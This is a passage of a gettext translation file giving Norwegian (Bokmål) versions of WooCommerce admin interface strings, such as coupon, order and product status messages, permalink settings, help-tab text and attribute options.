msgstr[1] "%s rabattkoder gjenopprettet fra papirkurven."
#. translators: %s: coupon count
#: includes/admin/class-wc-admin-post-types.php:260
msgid "%s coupon moved to the Trash."
msgid_plural "%s coupons moved to the Trash."
msgstr[0] "%s rabattkode flyttet til papirkurven."
msgstr[1] "%s rabattkoder flyttet til papirkurven."
#. translators: %s: coupon count
#: includes/admin/class-wc-admin-post-types.php:258
msgid "%s coupon permanently deleted."
msgid_plural "%s coupons permanently deleted."
msgstr[0] "%s rabattkode ble permanent slettet."
msgstr[1] "%s rabattkoder ble permanent slettet."
#. translators: %s: coupon count
#: includes/admin/class-wc-admin-post-types.php:256
msgid "%s coupon not updated, somebody is editing it."
msgid_plural "%s coupons not updated, somebody is editing them."
msgstr[0] "%s rabattkode ble ikke oppdatert, noen redigerer den."
msgstr[1] "%s rabattkoder ble ikke oppdatert, noen redigerer dem."
#. translators: %s: coupon count
#: includes/admin/class-wc-admin-post-types.php:254
msgid "%s coupon updated."
msgid_plural "%s coupons updated."
msgstr[0] "%s rabattkode oppdatert."
msgstr[1] "%s rabattkoder oppdatert."
#. translators: %s: order count
#. translators: %s: orders count
#: includes/admin/class-wc-admin-post-types.php:249
#: src/Internal/Admin/Orders/ListTable.php:1648
msgid "%s order restored from the Trash."
msgid_plural "%s orders restored from the Trash."
msgstr[0] "%s ordre gjenopprettet fra papirkurven."
msgstr[1] "%s ordrer gjenopprettet fra papirkurven."
#. translators: %s: order count
#. translators: %s: orders count
#: includes/admin/class-wc-admin-post-types.php:247
#: src/Internal/Admin/Orders/ListTable.php:1643
msgid "%s order moved to the Trash."
msgid_plural "%s orders moved to the Trash."
msgstr[0] "%s ordre flyttet til papirkurven."
msgstr[1] "%s ordrer flyttet til papirkurven."
#. translators: %s: order count
#. translators: %s: orders count
#: includes/admin/class-wc-admin-post-types.php:245
#: src/Internal/Admin/Orders/ListTable.php:1653
msgid "%s order permanently deleted."
msgid_plural "%s orders permanently deleted."
msgstr[0] "%s ordre permanent slettet."
msgstr[1] "%s ordrer permanent slettet."
#. translators: %s: order count
#: includes/admin/class-wc-admin-post-types.php:243
msgid "%s order not updated, somebody is editing it."
msgid_plural "%s orders not updated, somebody is editing them."
msgstr[0] "%s ordre ikke oppdatert. Noen redigerer den."
msgstr[1] "%s ordrer ikke oppdatert. Noen redigerer dem."
#. translators: %s: order count
#: includes/admin/class-wc-admin-post-types.php:241
msgid "%s order updated."
msgid_plural "%s orders updated."
msgstr[0] "%s ordre oppdatert."
msgstr[1] "%s ordrer oppdatert."
#. translators: %s: product count
#: includes/admin/class-wc-admin-post-types.php:236
msgid "%s product restored from the Trash."
msgid_plural "%s products restored from the Trash."
msgstr[0] "%s produkt gjenopprettet fra papirkurven."
msgstr[1] "%s produkter gjenopprettet fra papirkurven."
#. translators: %s: product count
#: includes/admin/class-wc-admin-post-types.php:234
msgid "%s product moved to the Trash."
msgid_plural "%s products moved to the Trash."
msgstr[0] "%s produkt flyttet til papirkurven."
msgstr[1] "%s produkter flyttet til papirkurven."
#. translators: %s: product count
#: includes/admin/class-wc-admin-post-types.php:232
msgid "%s product permanently deleted."
msgid_plural "%s products permanently deleted."
msgstr[0] "%s produkt er permanent slettet."
msgstr[1] "%s produkter er permanent slettet."
#. translators: %s: product count
#: includes/admin/class-wc-admin-post-types.php:230
msgid "%s product not updated, somebody is editing it."
msgid_plural "%s products not updated, somebody is editing them."
msgstr[0] "%s produkt ikke oppdatert, noen redigerer det."
msgstr[1] "%s produkter ikke oppdatert, noen redigerer dem."
#. translators: %s: product count
#: includes/admin/class-wc-admin-post-types.php:228
msgid "%s product updated."
msgid_plural "%s products updated."
msgstr[0] "%s produkt oppdatert."
msgstr[1] "%s produkter oppdatert."
#: includes/admin/class-wc-admin-post-types.php:172
msgid "Coupon draft updated."
msgstr "Rabattkodeutkast oppdatert."
#: includes/admin/class-wc-admin-post-types.php:166
msgid "Coupon submitted."
msgstr "Rabattkode innsendt."
#: includes/admin/class-wc-admin-post-types.php:165
msgid "Coupon saved."
msgstr "Rabattkode lagret."
#: includes/admin/class-wc-admin-post-types.php:159
#: includes/admin/class-wc-admin-post-types.php:162
#: includes/admin/class-wc-admin-post-types.php:164
msgid "Coupon updated."
msgstr "Rabattkode oppdatert."
#: includes/admin/class-wc-admin-post-types.php:211
msgid "Order draft updated."
msgstr "Ordreutkast oppdatert."
#: includes/admin/class-wc-admin-post-types.php:205
msgid "Order submitted."
msgstr "Ordre sendt."
#: includes/admin/class-wc-admin-post-types.php:204
msgid "Order saved."
msgstr "Ordre lagret."
#: includes/admin/class-wc-admin-post-types.php:198
#: includes/admin/class-wc-admin-post-types.php:201
#: includes/admin/class-wc-admin-post-types.php:203
msgid "Order updated."
msgstr "Ordre oppdatert."
#. translators: %s: product url
#: includes/admin/class-wc-admin-post-types.php:152
msgid "Product draft updated. <a target=\"_blank\" href=\"%s\">Preview product</a>"
msgstr "Produktutkast oppdatert. <a target=\"_blank\" href=\"%s\">Forhåndsvis produkt</a>"
#: includes/admin/class-wc-admin-post-types.php:148
#: includes/admin/class-wc-admin-post-types.php:170
#: includes/admin/class-wc-admin-post-types.php:209
#: includes/admin/settings/views/html-webhooks-edit.php:182
#: includes/admin/settings/views/html-webhooks-edit.php:191
#: includes/admin/settings/views/html-webhooks-edit.php:199
#: includes/class-wc-webhook.php:494
msgid "M j, Y @ G:i"
msgstr "j. M Y k\\l\\ H.i"
#. translators: 1: date 2: product url
#: includes/admin/class-wc-admin-post-types.php:147
msgid "Product scheduled for: %1$s. <a target=\"_blank\" href=\"%2$s\">Preview product</a>"
msgstr "Produkt planlagt for: %1$s. <a target=\"_blank\" href=\"%2$s\">Forhåndsvis produkt</a>"
#. translators: %s: product url
#: includes/admin/class-wc-admin-post-types.php:144
msgid "Product submitted. <a target=\"_blank\" href=\"%s\">Preview product</a>"
msgstr "Produkt sendt inn. <a target=\"_blank\" href=\"%s\">Forhåndsvis produkt</a>"
#: includes/admin/class-wc-admin-post-types.php:142
msgid "Product saved."
msgstr "Produkt lagret."
#: includes/admin/class-wc-admin-post-types.php:138
#: assets/client/admin/product-editor/index.js:2
msgid "Product updated."
msgstr "Produkt oppdatert."
#: includes/admin/class-wc-admin-post-types.php:137
#: includes/admin/class-wc-admin-post-types.php:161
#: includes/admin/class-wc-admin-post-types.php:200
msgid "Custom field deleted."
msgstr "Tilpasset felt slettet."
#: includes/admin/class-wc-admin-post-types.php:136
#: includes/admin/class-wc-admin-post-types.php:160
#: includes/admin/class-wc-admin-post-types.php:199
msgid "Custom field updated."
msgstr "Tilpasset felt oppdatert."
#: includes/widgets/class-wc-widget-product-categories.php:39
#: assets/client/blocks/featured-category.js:8
#: assets/client/blocks/featured-product.js:8
#: assets/client/blocks/product-best-sellers.js:7
#: assets/client/blocks/product-category.js:7
#: assets/client/blocks/product-new.js:7
#: assets/client/blocks/product-on-sale.js:7
#: assets/client/blocks/product-top-rated.js:7
#: assets/client/blocks/reviews-by-category.js:7
msgid "Product Categories"
msgstr "Produktkategorier"
#: includes/admin/class-wc-admin-assets.php:478
msgid "Product description"
msgstr "Produktbeskrivelse"
#: includes/admin/class-wc-admin-brands.php:665
#: includes/admin/class-wc-admin-permalink-settings.php:193
#: includes/admin/class-wc-admin-permalink-settings.php:196
#: includes/wc-core-functions.php:2280 includes/wc-update-functions.php:96
msgctxt "slug"
msgid "product"
msgstr "produkt"
#: includes/admin/class-wc-admin-permalink-settings.php:133
msgid "Enter a custom base to use. A base must be set or WordPress will use default instead."
msgstr "Legg inn en egendefinert base. En base må være satt, ellers vil WordPress bruke standard i stedet."
#: includes/admin/class-wc-admin-permalink-settings.php:131
msgid "Custom base"
msgstr "Egendefinert base"
#: includes/admin/class-wc-admin-permalink-settings.php:125
msgid "Shop base with category"
msgstr "Butikkbase med kategori"
#: includes/admin/class-wc-admin-permalink-settings.php:121
msgid "Shop base"
msgstr "Butikkbase"
#: includes/admin/importers/views/html-csv-import-done.php:77
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:260
#: includes/admin/meta-boxes/views/html-order-items.php:434
#: includes/admin/reports/class-wc-report-downloads.php:84
#: includes/admin/reports/class-wc-report-downloads.php:219
#: includes/admin/reports/class-wc-report-stock.php:175
#: includes/class-wc-emails.php:548 includes/class-wc-post-types.php:327
#: includes/class-wc-privacy-exporters.php:355
#: includes/data-stores/class-wc-product-data-store-cpt.php:211
#: includes/wc-account-functions.php:241 src/Admin/API/Leaderboards.php:359
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:45
#: src/Blocks/BlockTypes/OrderConfirmation/Totals.php:38
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:629
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:115
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:142
#: templates/cart/cart.php:30 templates/cart/cart.php:100
#: templates/checkout/form-pay.php:27 templates/checkout/review-order.php:23
#: templates/emails/email-order-details.php:77
#: templates/order/order-details.php:63 assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
#: assets/client/admin/product-editor/blocks/product-fields/product-list/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/all-reviews.js:3 assets/client/blocks/cart.js:12
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/order-confirmation-downloads.js:1
#: assets/client/blocks/order-confirmation-totals.js:1
#: assets/client/blocks/reviews-by-category.js:14
#: assets/client/blocks/reviews-by-product.js:12
#: assets/client/blocks/reviews-by-product.js:14
#: assets/client/blocks/single-product.js:9 assets/client/blocks/wc-blocks.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:9
msgid "Product"
msgid_plural "Products"
msgstr[0] "Produkt"
msgstr[1] "Produkter"
#: includes/admin/class-wc-admin-permalink-settings.php:116
#: includes/admin/class-wc-admin-taxonomies.php:127
#: includes/admin/class-wc-admin-taxonomies.php:235
#: includes/wc-template-functions.php:1624
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/blocks/catalog-sorting.js:1
#: assets/client/blocks/product-collection.js:3
msgid "Default"
msgstr "Standard"
#: includes/admin/class-wc-admin-permalink-settings.php:105
msgctxt "default-slug"
msgid "product"
msgstr "produkt"
#: includes/admin/class-wc-admin-permalink-settings.php:104
#: includes/admin/class-wc-admin-permalink-settings.php:203
msgctxt "default-slug"
msgid "shop"
msgstr "butikk"
#: includes/admin/class-wc-admin-permalink-settings.php:83
#: includes/wc-core-functions.php:2282 includes/wc-update-functions.php:87
msgctxt "slug"
msgid "product-tag"
msgstr "produktstikkord"
#: includes/admin/class-wc-admin-permalink-settings.php:74
#: includes/wc-core-functions.php:2281 includes/wc-update-functions.php:86
msgctxt "slug"
msgid "product-category"
msgstr "produktkategori"
#: includes/admin/class-wc-admin-permalink-settings.php:60
msgid "Product attribute base"
msgstr "Base for produktattributter"
#: includes/admin/class-wc-admin-permalink-settings.php:53
msgid "Product tag base"
msgstr "Base for produktstikkord"
#: includes/admin/class-wc-admin-permalink-settings.php:46
msgid "Product category base"
msgstr "Base for produktkategorier"
#: includes/admin/class-wc-admin-meta-boxes.php:204
#: includes/admin/settings/class-wc-settings-products.php:160
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:72
#: src/Blocks/Patterns/PatternRegistry.php:30
#: src/Internal/Admin/ProductReviews/Reviews.php:84
#: src/Internal/Admin/ProductReviews/Reviews.php:85
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1359
#: templates/single-product-reviews.php:37
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/blocks/product-details.js:1
#: assets/client/blocks/product-reviews-title.js:6
msgid "Reviews"
msgstr "Omtaler"
#: includes/admin/class-wc-admin-meta-boxes.php:148
#: src/Blocks/BlockTypes/ProductFilterRating.php:127
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:627
#: assets/client/blocks/active-filters-frontend.js:5
#: assets/client/blocks/active-filters-wrapper-frontend.js:5
#: assets/client/blocks/active-filters.js:5
#: assets/client/blocks/product-filter-rating.js:1
msgid "Rating"
msgstr "Vurdering"
#: includes/admin/class-wc-admin-meta-boxes.php:144
msgid "Coupon data"
msgstr "Rabattkodedata"
#. Translators: %s order type name.
#: src/Internal/Admin/Orders/Edit.php:84
msgid "%s actions"
msgstr "Handlinger (%s)"
#: src/Internal/Admin/Orders/Edit.php:82
msgid "Note: Permissions for order items will automatically be granted when the order status changes to processing/completed."
msgstr "Merk: Tillatelser for produkter på ordren vil automatisk bli gitt når ordrestatus endres til behandles/fullført."
#: src/Internal/Admin/Orders/Edit.php:82
msgid "Downloadable product permissions"
msgstr "Tillatelser for nedlastbar produkt"
#. Translators: %s order type name.
#: src/Internal/Admin/Orders/Edit.php:81
msgid "%s notes"
msgstr "Notater (%s)"
#: includes/admin/settings/views/html-settings-tax.php:115
msgid "%s items"
msgstr "%s produkter"
#. Translators: %s order type name.
#: src/Internal/Admin/Orders/Edit.php:78
msgid "%s data"
msgstr "%s data"
#: includes/admin/class-wc-admin-meta-boxes.php:135
#: src/Blocks/BlockTypes/ProductGalleryLargeImage.php:238
msgid "Product gallery"
msgstr "Produktgalleri"
#: includes/admin/class-wc-admin-meta-boxes.php:134
#: includes/admin/views/html-bulk-edit-product.php:20
#: includes/admin/views/html-quick-edit-product.php:18
msgid "Product data"
msgstr "Produktdata"
#: includes/admin/class-wc-admin-meta-boxes.php:133
msgid "Product short description"
msgstr "Kort beskrivelse av produktet"
#: includes/admin/class-wc-admin-menus.php:487
msgid "Visit Store"
msgstr "Gå til butikken"
#: includes/admin/class-wc-admin-menus.php:453
msgid "Add to menu"
msgstr "Legg til i meny"
#: includes/admin/class-wc-admin-menus.php:402
msgid "WooCommerce endpoints"
msgstr "WooCommerce sluttpunkter"
#: includes/admin/class-wc-admin-menus.php:267
#: includes/class-wc-post-types.php:476
msgctxt "Admin menu name"
msgid "Orders"
msgstr "Ordrer"
#: includes/admin/class-wc-admin-menus.php:123
msgid "WooCommerce settings"
msgstr "WooCommerce-innstillinger"
#: includes/admin/class-wc-admin-menus.php:113
msgid "Sales reports"
msgstr "Salgsrapporter"
#: includes/admin/class-wc-admin-importers.php:143
msgid "Import <strong>tax rates</strong> to your store via a csv file."
msgstr "Importer <strong>avgiftssatser</strong> til butikken via en CSV-fil."
#: includes/admin/class-wc-admin-importers.php:143
msgid "WooCommerce tax rates (CSV)"
msgstr "WooCommerce avgiftssatser (CSV)"
#: includes/admin/class-wc-admin-help.php:80
msgid "Official extensions"
msgstr "Offisielle utvidelser"
#: includes/admin/class-wc-admin-help.php:79
msgid "Official themes"
msgstr "Offisielle temaer"
#: includes/admin/class-wc-admin-help.php:78
msgid "GitHub project"
msgstr "Github prosjekt"
#: includes/admin/class-wc-admin-help.php:77
msgid "WordPress.org project"
msgstr "WordPress.org prosjekt"
#: includes/admin/class-wc-admin-help.php:76
msgid "About WooCommerce"
msgstr "Om WooCommerce"
#: includes/admin/class-wc-admin-help.php:75
msgid "For more information:"
msgstr "For mer informasjon:"
#: includes/admin/class-wc-admin-help.php:69
msgid "Report a bug"
msgstr "Rapporter feil"
#. translators: 1: GitHub issues URL 2: GitHub contribution guide URL 3: System
#. status report URL
#: includes/admin/class-wc-admin-help.php:68
msgid "If you find a bug within WooCommerce core you can create a ticket via <a href=\"%1$s\">GitHub issues</a>. Ensure you read the <a href=\"%2$s\">contribution guide</a> prior to submitting your report. To help us solve your issue, please be as descriptive as possible and include your <a href=\"%3$s\">system status report</a>."
msgstr "Dersom du finner en feil i WooCommerce-kjernen, kan du opprette en sak gjennom <a href=\"%1$s\">Github issues</a>. Sørg for at du leser <a href=\"%2$s\">contribution guiden</a> før du sender in rapporten din. For å hjelpe oss å løse saken, vennligst vær så beskrivende som mulig og inkluder din <a href=\"%3$s\">system status report</a>."
#: includes/admin/class-wc-admin-help.php:64
#: includes/admin/class-wc-admin-help.php:66
msgid "Found a bug?"
msgstr "Funnet en feil?"
#: includes/admin/class-wc-admin-help.php:56
msgid "Before asking for help, we recommend checking the system status page to identify any problems with your configuration."
msgstr "Før du ber om hjelp vi anbefaler å sjekke siden med systemstatus for å identifisere eventuelle problemer med konfigurasjonen."
#. translators: %s: Documentation URL
#: includes/admin/class-wc-admin-help.php:47
msgid "Should you need help understanding, using, or extending WooCommerce, <a href=\"%s\">please read our documentation</a>. You will find all kinds of resources including snippets, tutorials and much more."
msgstr "Om du trenger hjelp til å forstå, bruke eller utvide WooCommerce, <a href=\"%s\">vennligst les vår dokumentasjon</a>. Du finner alle typer ressurser, kodesnutter, veiledere og mye mer."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:358
#: assets/client/admin/chunks/5875.js:1
msgid "WooCommerce Tax"
msgstr "WooCommerce avgift"
#: includes/class-wc-post-types.php:527
#: includes/react-admin/connect-existing-pages.php:177
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:278
#: src/Admin/ReportCSVEmail.php:67 src/Internal/Admin/Analytics.php:236
#: src/Internal/Admin/Coupons.php:69 src/Internal/Admin/Coupons.php:70
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
#: assets/client/blocks/cart.js:25 assets/client/blocks/checkout.js:21
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:33
msgid "Coupons"
msgstr "Rabattkoder"
#: includes/admin/class-wc-admin-menus.php:111
#: includes/react-admin/connect-existing-pages.php:31
msgid "Reports"
msgstr "Rapporter"
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:112
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:41
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:105
#: src/Blocks/Shipping/PickupLocation.php:31
#: src/Blocks/Shipping/PickupLocation.php:165 assets/client/blocks/cart.js:2
#: assets/client/blocks/checkout.js:2
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
msgid "Local pickup"
msgstr "Lokal henting"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:141
msgid "Local delivery"
msgstr "Lokal levering"
#: includes/admin/class-wc-admin-setup-wizard.php:873
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:108
msgid "Free Shipping"
msgstr "Gratis frakt"
#: includes/admin/class-wc-admin-setup-wizard.php:1456
#: includes/gateways/paypal/class-wc-gateway-paypal.php:151
msgid "PayPal Standard"
msgstr "PayPal standard"
#: includes/admin/settings/class-wc-settings-shipping.php:58
#: includes/admin/settings/class-wc-settings-shipping.php:107
msgid "Shipping settings"
msgstr "Fraktinnstillinger"
#. translators: %s: product id
#: includes/admin/class-wc-admin-duplicate-product.php:113
msgid "Product creation failed, could not find original product: %s"
msgstr "Produktetableringen mislyktes, kunne ikke finne opprinnelig produkt: %s"
#: includes/admin/class-wc-admin-duplicate-product.php:102
msgid "No product to duplicate has been supplied!"
msgstr "Ingen produkt å duplisere har blitt gitt!"
#: includes/admin/class-wc-admin-duplicate-product.php:93
#: assets/client/admin/product-editor/index.js:2
msgid "Copy to a new draft"
msgstr "Kopier til nytt utkast"
#: includes/admin/class-wc-admin-duplicate-product.php:68
msgid "Duplicate"
msgstr "Dupliser"
#: includes/admin/class-wc-admin-duplicate-product.php:67
msgid "Make a duplicate from this product"
msgstr "Lag en duplikat av dette produktet"
#: includes/admin/class-wc-admin-dashboard.php:457
msgid "There are no product reviews yet."
msgstr "Det er ennå ingen omtaler."
#. translators: %s: order count
#: includes/admin/class-wc-admin-dashboard.php:405
msgid "<strong>%s product</strong> out of stock"
msgid_plural "<strong>%s products</strong> out of stock"
msgstr[0] "<strong>%s produkt</strong> utsolgt"
msgstr[1] "<strong>%s produkter</strong> utsolgt"
#. translators: %s: order count
#: includes/admin/class-wc-admin-dashboard.php:394
msgid "<strong>%s product</strong> low in stock"
msgid_plural "<strong>%s products</strong> low in stock"
msgstr[0] "<strong>%s produkt</strong> lite på lager"
msgstr[1] "<strong>%s produkter</strong> lite på lager"
#. translators: %s: order count
#: includes/admin/class-wc-admin-dashboard.php:300
msgid "<strong>%s order</strong> on-hold"
msgid_plural "<strong>%s orders</strong> on-hold"
msgstr[0] "<strong>%s ordre</strong> på vent"
msgstr[1] "<strong>%s ordrer</strong> på vent"
#. translators: %s: order count
#: includes/admin/class-wc-admin-dashboard.php:289
msgid "<strong>%s order</strong> awaiting processing"
msgid_plural "<strong>%s orders</strong> awaiting processing"
msgstr[0] "<strong>%s ordre</strong> venter på behandling"
msgstr[1] "<strong>%s ordrer</strong> venter på behandling"
#. translators: 1: top seller product title 2: top seller quantity
#: includes/admin/class-wc-admin-dashboard.php:239
msgid "%1$s top seller this month (sold %2$d)"
msgstr "%1$s bestselger denne måneden (solgt %2$d)"
#: includes/admin/class-wc-admin-menus.php:194
msgid "WooCommerce status"
msgstr "WooCommerce-status"
#: includes/admin/class-wc-admin-dashboard.php:47
msgid "WooCommerce Recent Reviews"
msgstr "WooCommerce nylige omtaler"
#: includes/admin/class-wc-admin-attributes.php:499
msgid "Are you sure you want to delete this attribute?"
msgstr "Er du sikker på at du vil slette denne attributten?"
#: includes/admin/class-wc-admin-attributes.php:488
#: assets/client/admin/product-editor/index.js:2
msgid "Add attribute"
msgstr "Legg til attributt"
#: includes/admin/class-wc-admin-attributes.php:420
#: assets/client/blocks/attribute-filter.js:19
msgid "Add new attribute"
msgstr "Legg til nytt attributt"
#: includes/admin/class-wc-admin-attributes.php:408
msgid "No attributes currently exist."
msgstr "Ingen attributter finnes foreløpig."
#: includes/admin/class-wc-admin-attributes.php:400
msgid "Configure terms"
msgstr "Konfigurer termer"
#: includes/admin/class-wc-admin-attributes.php:336
#: includes/admin/class-wc-admin-log-table-list.php:246
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:58
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:83
#: includes/admin/meta-boxes/views/html-product-download.php:29
#: includes/admin/meta-boxes/views/html-product-variation-download.php:29
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:162
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:127
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:114
#: includes/wc-account-functions.php:396
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:92
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:283
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:401
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:302
#: src/Internal/StockNotifications/Admin/ListTable.php:130
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/experimental/index.js:2
#: assets/client/admin/product-editor/blocks/product-fields/downloads/edit-downloads-modal/edit-downloads-modal.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Delete"
msgstr "Slett"
#: includes/admin/class-wc-admin-attributes.php:336
#: includes/admin/class-wc-admin-post-types.php:770
#: includes/admin/class-wc-admin-webhooks-table-list.php:90
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:420
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:558
#: includes/admin/meta-boxes/views/html-variation-admin.php:19
#: includes/admin/reports/class-wc-report-customer-list.php:163
#: includes/admin/reports/class-wc-report-stock.php:137
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:162
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:127
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:77
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:114
#: includes/class-wc-post-types.php:332 includes/class-wc-post-types.php:397
#: includes/class-wc-post-types.php:468 includes/class-wc-post-types.php:532
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:39
#: src/Internal/Admin/Orders/ListTable.php:1759
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:546
#: src/Internal/StockNotifications/Admin/ListTable.php:129
#: assets/client/admin/chunks/4706.js:1
#: assets/client/admin/product-editor/blocks/product-fields/downloads/edit.js:1
#: assets/client/admin/product-editor/blocks/product-fields/name/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/attribute-filter.js:19
#: assets/client/blocks/checkout-frontend.js:3
#: assets/client/blocks/checkout.js:15
#: assets/client/blocks/wc-shipping-method-pickup-location.js:238
msgid "Edit"
msgstr "Rediger"
#: includes/admin/class-wc-admin-attributes.php:314
#: assets/client/blocks/order-confirmation-create-account-frontend.js:2
#: assets/client/blocks/order-confirmation-create-account.js:2
msgid "Terms"
msgstr "Termer"
#: includes/admin/class-wc-admin-attributes.php:313
#: includes/widgets/class-wc-widget-product-categories.php:49
#: includes/widgets/class-wc-widget-products.php:53
#: assets/client/blocks/all-reviews.js:1 assets/client/blocks/all-reviews.js:3
#: assets/client/blocks/product-collection.js:3
#: assets/client/blocks/reviews-by-category.js:12
#: assets/client/blocks/reviews-by-category.js:14
#: assets/client/blocks/reviews-by-product.js:9
#: assets/client/blocks/reviews-by-product.js:12
#: assets/client/blocks/reviews-frontend.js:1
msgid "Order by"
msgstr "Sorter etter"
#: includes/admin/class-wc-admin-menus.php:103
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:856
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:103
#: includes/admin/views/html-admin-page-product-export.php:89
#: includes/react-admin/connect-existing-pages.php:298
#: src/Blocks/BlockTypes/ProductSpecifications.php:141
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:619
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:225
#: assets/client/blocks/product-collection.js:14
#: assets/client/blocks/product-query.js:12
#: assets/client/blocks/product-specifications.js:2
msgid "Attributes"
msgstr "Attributter"
#: includes/admin/class-wc-admin-attributes.php:283
#: includes/admin/helper/class-wc-helper.php:268
#: includes/admin/helper/views/html-section-account.php:3
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:77
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:403
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:60
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:65
#: templates/cart/shipping-calculator.php:91
#: assets/client/admin/chunks/4706.js:1 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/product-editor/blocks/product-fields/downloads/edit-downloads-modal/edit-downloads-modal.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
msgid "Update"
msgstr "Oppdater"
#: includes/admin/class-wc-admin-attributes.php:277
#: includes/admin/class-wc-admin-attributes.php:483
msgid "Determines the sort order of the terms on the frontend shop product pages. If using custom ordering, you can drag and drop the terms in this attribute."
msgstr "Bestemmer rekkefølgen for termene på produktsidene. Hvis du bruker tilpasset sortering, kan du dra og slippe termene for attributtet."
#: includes/admin/class-wc-admin-attributes.php:275
#: includes/admin/class-wc-admin-attributes.php:352
#: includes/admin/class-wc-admin-attributes.php:481
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:61
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:130
msgid "Term ID"
msgstr "Term-ID"
#: includes/admin/class-wc-admin-attributes.php:274
#: includes/admin/class-wc-admin-attributes.php:349
#: includes/admin/class-wc-admin-attributes.php:480
msgid "Name (numeric)"
msgstr "Navn (numerisk)"
#: includes/admin/class-wc-admin-attributes.php:272
#: includes/admin/class-wc-admin-attributes.php:355
#: includes/admin/class-wc-admin-attributes.php:478
msgid "Custom ordering"
msgstr "Tilpasset sortering"
#: includes/admin/class-wc-admin-attributes.php:268
#: includes/admin/class-wc-admin-attributes.php:476
msgid "Default sort order"
msgstr "Standard sorteringsrekkefølge"
#: includes/admin/class-wc-admin-attributes.php:243
#: includes/admin/class-wc-admin-attributes.php:311
#: includes/admin/class-wc-admin-attributes.php:454
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:613
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:791
#: includes/export/class-wc-product-csv-exporter.php:130
#: src/Admin/API/Reports/Coupons/Controller.php:227
#: assets/client/admin/chunks/analytics-report-coupons.js:1
msgid "Type"
msgstr "Type"
#: includes/admin/class-wc-admin-attributes.php:228
#: includes/admin/class-wc-admin-attributes.php:440
msgid "Enable this if you want this attribute to have product archives in your store."
msgstr "Slå på dette dersom du vil at denne attributten skal ha produktarkiver i butikken din."
#: includes/admin/class-wc-admin-attributes.php:438
msgid "Enable Archives?"
msgstr "Slå på arkiver?"
#: includes/admin/class-wc-admin-attributes.php:219
#: includes/admin/class-wc-admin-attributes.php:434
